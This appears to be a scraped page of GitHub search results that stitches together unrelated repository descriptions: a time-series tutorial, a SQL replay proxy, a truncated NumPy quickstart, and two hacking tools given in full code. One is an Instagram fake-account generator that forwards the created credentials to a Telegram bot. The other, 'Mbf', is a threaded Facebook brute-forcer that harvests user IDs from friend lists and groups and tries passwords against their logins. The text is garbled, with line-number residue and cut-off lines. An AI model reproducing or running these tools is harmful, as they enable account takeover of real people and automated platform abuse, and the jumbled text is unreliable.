427 skills found · Page 7 of 15
Rushanksavant / Time Series Tutorial Using Air Passengers DataNo description available
hokse / Account Maker Instagramimport os lib = input(""" [1] Download lib & update [2] pass [+] Please Choice >> """) if lib == "1": os.system('pip install requests') os.system('pip install user_agent') os.system('cls' if os.name == 'nt' else 'clear') pass else: os.system('cls' if os.name == 'nt' else 'clear') pass import requests import random import secrets from time import sleep from user_agent import generate_user_agent banner = (""" [!] Free By : @old_zpoc _ _ __ __ _ / \ ___ ___ ___ _ _ _ __ | |_| \/ | __ _| | _____ _ __ / _ \ / __/ __/ _ \| | | | '_ \| __| |\/| |/ _` | |/ / _ \ '__| / ___ \ (_| (_| (_) | |_| | | | | |_| | | | (_| | < __/ | /_/ \_\___\___\___/ \__,_|_| |_|\__|_| |_|\__,_|_|\_\___|_| """) print(banner) print('====================================') def Make(): while 1: idd = 'X5uC6wALAAF-Lw3oSZE9kuY0mP_9' r = requests.Session() cookie = secrets.token_hex(8)*2 chars = 'abcdefghijklmnopqrstuvwxyz123456789' myID = input('[+] Enter Your Telegram ID : ') if myID == "": print('[!] Error Telegram ID') exit() else: token = input('[+] Enter token Bot Telegram : ') pass phone = input('[+] Enter Your Phone Number : ') if phone == "": print('[!] Error Phone Number') exit() else: pass userr = "" passs = "" for x in range(0,3): userr_char = random.choice(chars) userr = userr + userr_char for i in range(0,8): passs_char = random.choice(chars) passs = passs + passs_char paas = passs user = (f'zpoc_tools{userr}') name = 'By @old_zpoc' url1 = 'https://www.instagram.com/accounts/web_create_ajax/attempt/' url2 = 'https://www.instagram.com/accounts/send_signup_sms_code_ajax/' url3 = 'https://www.instagram.com/accounts/web_create_ajax/' head = { 'HOST': "www.instagram.com", 'KeepAlive' : 'True', 'user-agent' : generate_user_agent(), 'Cookie': cookie, 'Accept' : "*/*", 'ContentType' : "application/x-www-form-urlencoded", "X-Requested-With" : "XMLHttpRequest", "X-IG-App-ID": "936619743392459", "X-Instagram-AJAX" : "missing", "X-CSRFToken" : "missing", "Accept-Language" : "en-US,en;q=0.9" } data1 = { 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:1589682409:{}'.format(paas), 'phone_number': phone, 'username': user, 'first_name': name, 'month': '1', 'day': '1', 'year': '1999', 'client_id': idd, 'seamless_login_enabled': '1', 'opt_into_one_tap': 'fals' } data2 = { 'client_id': idd, 'phone_number': phone, 'phone_id': '', 'big_blue_token': '' } Make_Acc1 = r.post(url1,headers=head,data=data1) Make_Acc2 = r.post(url2,headers=head,data=data2) if 'Looks like your phone number may be incorrect.' in Make_Acc2.text: print('[!] Error Phone Number') exit() elif 'Please wait a few minutes before you try again.' in Make_Acc2.text: print('[!] Please wait a few Minutes') exit() elif 'true' in Make_Acc2.text: print('[-] The SMS has been sent successfully') pass else: print('[!] Error ..') exit() code = input('[+] Enter The Code : ') data3 = { 'enc_password': '#PWD_INSTAGRAM_BROWSER:0:1589682409:{}'.format(paas), 'phone_number': phone, 'username': user, 'first_name': name, 'month': '1', 'day': '1', 'year': '1999', 'sms_code': code, 'client_id': idd, 'seamless_login_enabled': '1', 'tos_version': 'row' } Make_Acc3 = r.post(url3,headers=head,data=data3) if "That code isn't valid." in Make_Acc3.text: print("[!] That code isn't valid") exit() elif 'true' in Make_Acc3.text: print("[-] Done Created Account") pass elif "checkpoint_required" in Make_Acc3.text: print('[!] Done, checkpoint required') pass else: print(Make_Acc3.text) print('[!] Error ..') exit() Account = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text=⌯ Instagram Fake Account \n⌯ User : {}\n⌯ Pass : {}\n⌯ by : @old_zpoc'.format(token,myID,user,paas) r.get(Account) Make() #Coded by
ProductiveRage / SqlProxyAndReplayFor performance testing services that depend upon a SQL database, the service may be tested with known inputs and the SQL queries that are executed will be captured (along with their results). Then the service may be re-tested but the SQL proxy layer will return known results to the same SQL queries. So long as all of the same queries are repeated when the same inputs are passed to the service, the database will be removed from the test. This could be used to measure data access code performance but it is initially intended more to allow a service to run for a long time reliably (independent of any external database) in order enable investigations into hot paths and ways to reduce garbage collection load.
queenxaz / Mbf1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 Raw Blame History from __future__ import print_function import platform,os def tampil (x): w = { 'm' : 31, 'h' : 32 , 'k' : 33 , 'b' : 34 , 'p' : 35 , 'c' : 36} for i in w: x = x.replace( '\r %s ' % i, '\033[ %s ;1m' % w[i]) x += '\033[0m' x = x.replace( '\r0' , '\033[0m' ) print (x) if platform.python_version().split( '.' )[ 0 ] != '2' : tampil( '\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x' % v().split( ' ' )[ 0 ] os.sys.exit() import cookielib,re,urllib2,urllib,threading try: import mechanize except ImportError : tampil( '\rm[!]SepertiNya Module \rcmechanize\rm belum di install...' ) os.sys.exit() def keluar (): simpan() tampil( '\rm[!]Keluar' ) os.sys.exit() log = 0 id_bteman = [] id_bgroup = [] fid_bteman = [] fid_bgroup = [] br = mechanize.Browser() br.set_handle_robots( False ) br.set_handle_equiv( True) br.set_handle_referer( True) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_redirect( True) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1 ) br.addheaders = [( 'User-Agent' , 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Versi def bacaData(): global fid_bgroup,fid_bteman try: fid_bgroup = open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'r' ).readlines() except : pass try: fid_bteman = open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'r' ).readlines() except : pass def inputD (x,v = 0 ): while 1 : try : a = raw_input ( '\x1b[32;1m %s \x1b[31;1m:\x1b[33;1m' % x) except : tampil( '\n\rm[!]Batal' ) keluar() if v: if a.upper() in v: break else: tampil( '\rm[!]Masukan Opsinya Bro...' ) continue else: if len(a) == 0 : tampil( '\rm[!]Masukan dengan benar' ) continue else: break return a def inputM (x,d): while 1 : try : i = int(inputD(x)) except : tampil( '\rm[!]Pilihan tidak ada' ) continue if i in d: break else: tampil( '\rm[!]Pilihan tidak ada' ) return i def simpan (): if len (id_bgroup) != 0 : tampil( '\rh[*]Menyimpan hasil dari group' ) try : open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'w' ).write( '\n' .join(id_bgroup)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgroup.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) if len (id_bteman) != 0 : tampil( '\rh[*]Menyimpan hasil daftar Teman...' ) try : open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'w' ).write( '\n' .join(id_bteman)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgteman.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) def buka(d): tampil( '\rh[*]Membuka \rp' + d) try: x = br.open(d) br._factory.is_html = True x = x.read() except : tampil( '\rm[!]Gagal membuka \rp' + d) keluar() if '<link rel="redirect" href="' in x: return buka(br.find_link().url) else: return x def login (): global log us = inputD( '[?]Email/HP' ) pa = inputD( '[?]Kata Sandi' ) tampil( '\rh[*]Sedang Login....' ) buka( 'https://m.facebook.com' ) br.select_form( nr = 0 ) br.form[ 'email' ] = us br.form[ 'pass' ] = pa br.submit() url = br.geturl() if 'save-device' in url or 'm_sess' in url: tampil( '\rh[*]Login Berhasil' ) buka( 'https://mobile.facebook.com/home.php' ) nama = br.find_link( url_regex = 'logout.php' ).text nama = re.findall( r ' \( (. * a ? ) \) ' ,nama)[ 0 ] tampil( '\rh[*]Selamat datang \rk %s \n\rh[*]Semoga ini adalah hari keberuntungan mu....' % nam log = 1 elif 'checkpoint' in url: tampil( '\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini' ) keluar() else: tampil( '\rm[!]Login Gagal' ) def saring_id_teman (r): for i in re.findall( r '/friends/hovercard/mbasic/ \? uid= (. *? ) &' ,r): id_bteman.append(i) tampil( '\rc==>\rb %s \rm' % i) def saring_id_group1 (d): for i in re.findall( r '<h3><a href="/ (. *? ) fref=pb' ,d): if i.find( 'profile.php' ) == - 1 : a = i.replace( '?' , '' ) else: a = i.replace( 'profile.php?id=' , '' ).replace( '&' , '' ) if a not in id_bgroup: tampil( '\rk==>\rc %s ' % a) id_bgroup.append(a) def saring_id_group0 (): global id_group while 1 : id_group = inputD( '[?]Id Group' ) tampil( '\rh[*]Mengecek Group....' ) a = buka( 'https://m.facebook.com/browse/group/members/?id=' + id_group + '&start=0&lis nama = ' ' .join(re.findall( r '<title> (. *? ) </title>' ,a)[ 0 ].split()[ 1 :]) try : next = br.find_link( url_regex = '/browse/group/members/' ).url break except : tampil( '\rm[!]Id yang anda masukan salah' ) continue tampil( '\rh[*]Mengambil Id dari group \rc %s ' % nama) saring_id_group1(a) return next def idgroup(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() next = saring_id_group0() while 1 : saring_id_group1(buka( next)) try : next = br.find_link( url_regex = '/browse/group/members/' ).url except : tampil( '\rm[!]Hanya Bisa Mengambil \rh %d id' % len (id_bgroup)) break simpan() i = inputD( '[?]Langsung Crack (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bgroup) else: return menu() def idteman(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() saring_id_teman(buka( 'https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasi try: next = br.find_link( url_regex = 'friends_center_main' ).url except : if len (id_teman) != 0 : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) else: tampil( '\rm[!]Batal' ) keluar() while 1 : saring_id_teman(buka( next)) try : next = br.find_link( url_regex = 'friends_center_main' ).url except : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) break simpan() i = inputD( '[?]Langsung wae ah yuu(y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bteman) else: return menu() class mt ( threading . Thread ): def __init__ (self,i,p): threading.Thread. __init__ ( self) self.id = i self.a = 3 self.p = p def update (self): return self.a, self.id def run(self): try: data = urllib2.urlopen(urllib2.Request( url = 'https://m.facebook.com/login.php' , data = urllib.urle except KeyboardInterrupt: os.sys.exit() except : self.a = 8 os.sys.exit() if 'm_sess' in data.url or 'save-device' in data.url: self.a = 1 elif 'checkpoint' in data.url: self.a = 2 else: self.a = 0 def crack (d): i = inputD( '[?]Pake Passwordlist/Manual (p/m)' ,[ 'P' , 'M' ]) if i.upper() == 'P' : while 1 : dir = inputD( '[?]Masukan alamat file' ) try: D = open( dir, 'r' ).readlines() except : tampil( '\rm[!]Gagal membuka \rk %s ' % dir) continue break tampil( '\rh[*]Memulai crack dengan \rk %d password' % len(D)) for i in D: i = i.replace( '\n' , '' ) if len(i) != 0 : crack0(d,i, 0 ) i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(d) else: return menu() else: return crack0(d,inputD( '[?]Sandi' ), 1 ) def crack0 (data,sandi,p): tampil( '\rh[*]MengCrack \rk %d Akun \rhdengan sandi \rm[\rk %s \rm]' % ( len(data),sandi)) print ( '\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m' , end= '' ) os.sys.stdout.flush() akun_jml = [] akun_sukses = [] akun_cekpoint = [] akun_error = [] akun_gagal = [] jml0,jml1 = 0 , 0 th = [] for i in data: i = i.replace( ' ' , '' ) if len (i) != 0 :th.append(mt(i,sandi)) for i in th: jml1 += 1 i.daemon = True try :i.start() except KeyboardInterrupt: exit() while 1 : try : for i in th: a = i.update() if a[ 0 ] != 3 and a[ 1 ] not in akun_jml: jml0 += 1 if a[ 0 ] == 2 : akun_cekpoint.append(a[ 1 ]) elif a[ 0 ] == 1 : akun_sukses.append(a[ 1 ]) elif a[ 0 ] == 0 : akun_gagal.append(a[ 1 ]) elif a[ 0 ] == 8 : akun_error.append(a[ 1 ]) print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m %0.2f%s \033[ os.sys.stdout.flush() akun_jml.append(a[ 1 ]) except KeyboardInterrupt: os.sys.exit() try : if threading.activeCount() == 1 : break except KeyboardInterrupt: keluar() print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m ' ) if len (akun_sukses) != 0 : tampil( '\rh[*]Daftar akun sukses' ) for i in akun_sukses: tampil( '\rh==>\rk %s \rm[\rp %s \rm]' % (i,sandi)) tampil( '\rh[*]Jumlah akun berhasil\rp %d ' % len(akun_sukses)) tampil( '\rm[*]Jumlah akun gagal\rp %d ' % len(akun_gagal)) tampil( '\rk[*]Jumlah akun cekpoint\rp %d ' % len(akun_cekpoint)) tampil( '\rc[*]Jumlah akun error\rp %d ' % len(akun_error)) if p: i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(data) else: return menu() else: return 0 def lanjutT(): global fid_bteman if len (fid_bteman) != 0 : i = inputD( '[?]Riset Hasil Id Teman/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bteman) else: os.remove(os.sys.path[ 0 ] + '/MBFbteman.txt' ) fid_bteman = [] return 0 def lanjutG(): global fid_bgroup if len (fid_bgroup) != 0 : i = inputD( '[?]Riset Hasil Id Group/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bgroup) else: os.remove(os.sys.path[ 0 ] + '/MBFbgroup.txt' ) fid_bgroup = [] return 0 def menu(): tampil( '''\rh .-.-.. /+/++// /+/++// \rk* *\rh /+/++// \ / |/__// {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========. ['] /'|'\ \\ / \ \ ' \_ \_ \_ \rk*\rhDragonFly coly \rk########################################################### # \rb*MULTY BRUTEFORCE FACEBOOK*\rk # # \rhBY\rp panda07\rk# # \rhGroup FB\rp https://m.facebook.com/groups/164201767529837 \rk# # \rhGitHub\rp https://github.com/zack007 \rk# # \rmDo Not Use This Tool For IllegaL Purpose \rk# ###########################################################''') tampil( '''\rk %s \n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n i = inputM( '[?]PILIH' ,[ 1 , 2 , 3 ]) if i == 1 : lanjutG() idgroup() elif i == 2 : lanjutT() idteman() elif i == 3 : keluar() bacaData() menu()
Aryia-Behroziuan / NumpyQuickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> 